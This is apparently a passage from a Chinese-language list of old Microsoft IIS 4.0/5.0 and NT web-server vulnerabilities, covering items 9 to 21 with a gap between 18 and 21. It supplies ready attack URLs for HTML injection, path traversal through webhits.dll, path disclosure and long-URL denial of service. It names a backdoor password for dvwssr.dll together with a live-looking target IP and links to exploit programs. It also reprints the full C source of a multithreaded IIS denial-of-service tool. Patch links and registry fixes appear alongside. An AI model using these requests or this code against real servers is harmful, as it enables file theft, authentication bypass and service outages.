|
9、NT iss4.0_AuthChangeUrl? 漏洞 问题描述: 在NT iis4.0,当输入如下命令时 http://someurl/_AuthChangeUrl?<;font%20size=7%20color=red>你好 你看到发生了什么吗?<font size=7 color=red>被解释成功 出现了红色的放大的“你好”字 我们再来看看以下的命令: http://someurl/_AuthChangeUrl?<;img%20src=file:\\\c:\1.jpg> 上面的命令将显示c:根目录下的1.jpg图片,如果1.jpg存在的话。 http://someurl/_AuthChangeUrl?<;a%20href=file:///c:/install.exe> 上面的命令将下载C:根目录下的install.exe文件。 按照这种方法还能打开对方服务器上一个已经知道的文本文件。
10、微软开发的两个动态库存在后门允许用户查看ASP文件源程序和下载整个网站 问题描述: 随IIS和Frontpage Extention server而来的动态库程序,存在后门,允许用户远程读取asp、asa和CGI程序的源代码。但这个动态库要求有密码,这个后门的密码是: "Netscape engineers are weenies!" 程序路径为: /_vti_bin/_vti_aut/dvwssr.dll 一般安装了 Frontpage98的 IIS服务器都有这个路径和文件。这个程序要求解码后才能发挥读取asp等源程序,有趣的是,这个密码正是嘲弄其竞争对手Netscape的。 现提供一个有该漏洞的国外网站给安全技术人员参考: http://62.236.90.195 关于读取源程序,请下载这个测试程序,用法为: [john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp 测试程序: http://www.cnns.net/exploits/nt/dvwssr1.pl
11、漏洞名称:IIS4.0受HTTP的D.O.S攻击漏洞 问题描述: 受影响的版本:IIS 4.0以及更早的版本 这是一个很简单的方法.发送很多的"Host:aaaaa...aa"到IIS: GET / HTTP/1.1 Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) ...10,000 lines Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
发送了象上面所写的两次请求后,对方的IIS在接受了这些请求后就会导致内存溢出.当然,它就不能对更多的请求作出反应。因为对方正缺乏虚拟内存,服务器也将停止运行。事后,对方不能通过重起web service来解决问题,而必须重启服务器。
12 漏洞名称:IIS5.0超长URL拒绝服务漏洞 问题描述: Microsoft IIS 5.0在处理以".ida"为扩展名的URL请求时,它会有两种结果。一个可能的结果是服务器回复"URL String too long"的信息;或类似"Cannot find the specified path" 的信息。另一种可能就是服务器端服务停止,并返回"Access Violation"信息(即成功的实现了对服务器端的拒绝服务攻击) 当远端攻击者发出类似如下的请求时: http://someurl/...[25kb of '.']...ida 服务器端会崩溃(导致拒绝服务攻击)或返回该文件不在当前路径的信息(暴露文件物理地址) 问题解决或者建议: 大多数情况下,站点很少使用扩展名为".ida"和".idq"的文件,可在ISAPI脚本映射中,将扩展名为".ida"和".idq"的应用程序映射删除。
13请求不存在的扩展名为idq或ida 文件,会暴露服务器上得物理地址. 问题描述: 通过请求一个不存在的扩展名为idq或ida得文件,IIS会暴露文件在服务器上得物理地址.这样会给攻击者提供了不必要的信息,而且,这对攻击一个Web站点来说,是很有价值的第一步。 测试程序: 通过请求如: http://someurl/anything.ida http://someurl/lunwen/anything.ida 或: http://someurl/anything.idq 一个远端用户可以收到类似:'The IDQ d:\http\anything.idq could not be found'的响应。 这样的一个响应就会让攻击者获得了Web站点的物理路径,并且还可以获得更多的有关该站点在服务器上的组织与结构。
14、NT Index Server存在返回上级目录的漏洞 问题描述 受影响的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0] Index Sserver2.0是WinNT4.0 Option Pack中附带的一个软件的工具,其中的功能已经被WinNT 2000中的Indexing Services所包含。当与IIS结合使用时,Index Server和Indexing Services便可以在最初的环境来浏览Web Search的结果,它将生成一个HTML文件,其中包含了查找后所返回页面内容的简短引用,并将其连接至所返回的页面[即符合查询内容的页面],也就是超级连接。要做到这一点,它便需要支持由webhits.dll ISAPI程序处理的.htw文件类型。这个dll允许在一个模版中使用"../"用做返回上级目录的字符串.这样,了解服务器文件结构的攻击者便可以远程的阅读该机器上的任意文件了。 漏洞的利用: 1)您的系统中存在.htw文件 Index Server提供的这种超级连接允许Web用户获得一个关于他搜寻结果的返回页,这个页面的名字是与CiWebHitsFile变量一起通过.htw文件的,webhits.dll这个ISAPI程序将处理这个请求,对其进行超级连接并返回该页面。因此用户便可以控制通过.htw文件的CiWebHits变量,请求到任何所希望获得的信息。另外存在的一个问题便是ASP或其他脚本文件的源代码也可以利用该方法来获得。 上面我们说过webhits.dll后接上"../"便可以访问到Web虚拟目录外的文件,下面我们来看个例子: http://somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full 在浏览器中输入该地址,便可以获得该服务器上给定日期的Web日志文件. 在系统常见的.htw样本文件有: /iissamples/issamples/oop/qfullhit.htw /iissamples/issamples/oop/qsumrhit.htw /iissamples/exair/search/qfullhit.htw /iissamples/exair/search/qsumrhit.hw /iishelp/iis/misc/iirturnh.htw [这个文件通常受loopback限制] 2)您的系统中不存在.htw文件 调用一个webhits.dll ISAPI程序需要通过.htw文件来完成,如果您的系统中不存在.htw文件,虽然请求一个不存在的.htw文件将失败,但是您的仍然存在可被利用的漏洞。其中的窍门便是利用inetinfo.exe来调用webhits.dll,这样同样能访问到Web虚拟目录外的文件。但我们需要通过制作一个的特殊的URL来完成该漏洞的利用。首先我们需要一个有效的文件资源,这个文件必须是一个静态的文件,如".htm",".html",".txt"或者".gif",".jpg"。这些文件将用作模版来被webhits.dll打开。现在我们需要获得inetinfo.exe来利用webhits.dll,唯一可以做到这点的便是请求一个.htw文件: http://url/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full 很明显,这个请求肯定会失败,因为系统上不存在这个文件。但请注意,我们现在已经调用到了webhits.dll,我们只要在一个存在的文件资源后面[也就是在.htw前面]加上一串特殊的数字( %20s ),[就是在例子中default.htm后面加上这个代表空格的特殊数字],这样我们便可以欺骗过web服务器从而达到我们的目的.由于在缓冲部分中.htw文件名字部分被删除掉[由于%20s这个符号],所以,当请求传送到webhits.dll的时候,便可以成功的打开该文件,并返回给客户端,而且过程中并不要求系统中真的存在.htw文件。 问题解决和建议: 微软已经对该问题发放了补丁: Index Server 2.0: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727 Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728 Windows 2000 Indexing Services: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
15 绕过验证直接进入ASP页面。 漏洞描述: 如果用户知道了一个ASP页面的路径和文件名,而这个文件又是要经过验证才能进去的,但是用户直接输入这个ASP页面的文件名,就有可能通过绕过验证.比如:我在一些网站上这样试过:首先关闭所有的浏览器,窗口,输入: http://someurl/system_search.asp?page=1 就样就看到了只能系统员才能看到的页面。当然有些人为了防止这种情况也会在system_search.asp的开头加个判断,比如:判断session(“system_name”),如果不为空时就能进入,这样上面的url请求就不能直接进入管理员页面了。但是这种方法也有一个漏洞,如果攻击者先用一个合法的帐号,或者在本机上生成一个session,如session(“system_name”)=”admi”,那因为session(“system_name”)不为空,这样也能直接进入绕过密码,直接进入管理员页面。
解决方法: 在需要验证的ASP页面开头处进行相应的处理。比如:可跟踪上一个页面的文件名,只有从上一页面转进来的会话才能读取这个页面。
16、IIS4.0/5.0特殊数据格式的URL请求远程DOS攻击 漏 洞 描 述: 当在安装有有IIS4.0或者IIS5.0的web服务上,请求一个具有特殊数据格式的URL,会拖慢受攻击web 服务器的响应速度,或许会使其暂时停止响应。
受影响的版本 Microsoft Internet Information Server 4.0 Microsoft Internet Information Server 5.0 漏洞测试程序如下: http://202.96.168.51/download/exploits/iisdos.exe 源代码如下: http://202.96.168.51/download/exploits/iisdos.zip 测试程序: 只要打入:iisdos <***.***.**.**> 就能攻击对方web 服务器
问题解决: Internet Information Server 4.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906 Internet Information Server 5.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904 更多的信息: http://www.microsoft.com/technet/security/bulletin/ms00-030.asp Microsoft 安全公告MS00-021: http://www.microsoft.com/technet/security/bulletin/fq00-030.asp 相关连接 http://www.ussrback.com
17 IIS web server DOS 漏洞描述: 默认情况下,IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建,针对这种NT系统的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置IIS允许接受的输入量。如果 "MaxClientRequestBuffer" 设置为256(bytes),则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制,因此,利用下面的程序。可以很容易地对IIS server实行DOS攻击:
#include <stdio.h> #include <windows.h> #define MAX_THREAD 666 void cng(); char *server; char *buffer; int port; int counter = 0; int current_threads = 0; int main(int argc, char **argv) { WORD tequila; WSADATA data; int p; DWORD tid; HANDLE hThread[2000]; //This code is as is and sucks as it is. Won't exit correctly and a lot of other fun things. //That I didn't want to take the time to do. So just ctrl+c out of the code. //Load up cnghack.exe 3 times for charm. printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my beloved.\"\n"); if(argc<2){ printf("Usage: %s [server] [port]\n",argv[0]); exit(1); } buffer=malloc(17500); memset( buffer, 'A', strlen(buffer)); server=argv[1]; port=atoi(argv[2]); tequila = MAKEWORD( 1, 1 ); printf("Attempting to start winsock... "); if( (WSAStartup(tequila, &data)) !=0 ){ printf("failed to start winsock.\n"); exit(1); } else{ printf("started winsock.\n\n"); }
counter = 0; for(p = 0 ; p < MAX_THREAD ; ++p ){ hThread[counter] = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) cng, ( void * )++counter, 0, &tid); } Sleep(250); while( current_threads ) Sleep(250); counter = 0; printf("Terminated Threads.\n"); while (counter < MAX_THREAD) { TerminateThread( hThread[counter], 0 ); ++counter; } WSACleanup(); return 0; }
void cng() { int SockFD=0, p; struct sockaddr_in DstSAin; char GETKILLED[]="GET / HTTP/\r\n"; int die=1; printf("Entered CNG\n"); ++current_threads; DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons((u_short)port); DstSAin.sin_addr.s_addr=inet_addr( server ); if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){ printf("Failed to create socket\n"); --current_threads; return; } if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { p=send(SockFD,GETKILLED,strlen(GETKILLED),0); printf("Step 1: %i\n", p); for(;;){ p=send(SockFD,buffer,strlen(buffer),0); printf("P: %i\n", p); //put in some code to check if send = -1 more then X times we drop the loop and exit the thread //bla bla bla i love the dirtiness of concept code. } } --current_threads; printf("Exited CNG\n"); return; }
cnghack.c works by doing the following: Connects to example.com Sends: GET / HTTP/[return][buffer]
Where: [return] is just an \r\n [buffer] is a never ending stream of A's
攻击结果将导致NT系统的CPU占用率达到 100%
解决方案 运行Regedt32.exe 在: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters 增加一个值: value Name: MaxClientRequestBuffer Data Type: REG_DWORD 设置为十进制 具体数值设置为你想设定的IIS允许接受的URL最大长度。 CNNS的设置为256
18、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击 漏 洞 描 述: Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。 如果不取消连接而直接和第二个数据库相连接,可能导致服务停止。
影响系统: ODBC 版本: 3.510.3711.0 ODBC Access驱动版本: 3.51.1029.00 OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386) Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞检测方法如下: ODBC 连接源名称: miscdb ODBC 数据库型号: MS Access ODBC 假设路径: d:\data\misc.mdb
ASP代码如下:
<% set connVB = server.createobject("ADODB.Connection") connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html> <body> ...lots of html removed... "重命名"),比如更改成为 HKEY_CLASSES_ROOT\Scripting.FileSystemObject2 这样,在ASP就必须这样引用这个对象了: Set fso = CreateObject("Scripting.FileSystemObject2") 而不能使用: Set fso = CreateObject("Scripting.FileSystemObject") 如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。 只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
21 IIS4.0/IIS5.0超长文件名请求存在漏洞 漏洞描述: 受影响的版本: Microsoft IIS 5.0 + Microsoft Windows NT 2000 Microsoft IIS 4.0 + Microsoft Windows NT 4.0 + Microsoft BackOffice 4.5 - Microsoft Windows NT 4.0 + Microsoft BackOffice 4.0 Microsoft Windows NT 4.0
当在一个已知的文件名后加230个"%20"再加个.htr,会使安装有Microsoft IIS 4.0/5.0泄漏该文件的内容。这是由ISM.dll映射的.htr文件引起的.比如: http://target/filename%20<;重复230次>.htr 这种请求只有当.htr请求是第一次调用或者ISM.dll第一次装载进内存,才能起作用。
解决方法:
安装补丁
Microsoft IIS 5.0: http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE
Microsoft IIS 4.0: http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe
|